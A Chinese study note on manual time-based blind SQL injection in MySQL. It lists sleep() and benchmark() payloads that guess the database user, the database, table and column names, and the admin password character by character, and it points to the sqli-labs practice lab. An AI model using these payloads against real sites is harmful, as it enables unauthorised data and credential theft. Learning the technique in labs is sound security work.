学习笔记十五:MySQL手注之延时盲注(基于时间的盲注)
背景知识
格式:IF(Condition,A,B)
含义:如果Condition成立,则A,否则B
- substr函数
- ascii函数
延时注入
mysql>=5.0使用sleep()进行查询
mysql<5.0使用benchmark()进行查询
benchmark()
benchmark是通过查询次数增多,时间变得缓慢来判断是否存在延迟
select benchmark(1000,select * from admin);
sleep()
1.判断是否存在延迟注入
id=1 and sleep(5)
2.判断当前用户
and if(ascii(substr(user(),1,1))=114,sleep(5),1)
3.判断数据库名长度
if(length(database())=8,sleep(5),1)
4.猜解数据库名称
and if(ascii(substr(database(),1,1))>100,sleep(5),1)
5.猜解表名
and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1)
6.猜解列名
and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)
7.数据
and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)
ps:以上实操可以在sqli-labs的Less-9中进行操作
可参考文章:
MYSQL基于时间的盲注总结 | AdminTony's Blog
Python系列之——时间盲注脚本编写_白帽子技术/思路_i春秋社区-分享你的技术,为安全加点温度. (ichunqiu.com)
浙公网安备 33010602011771号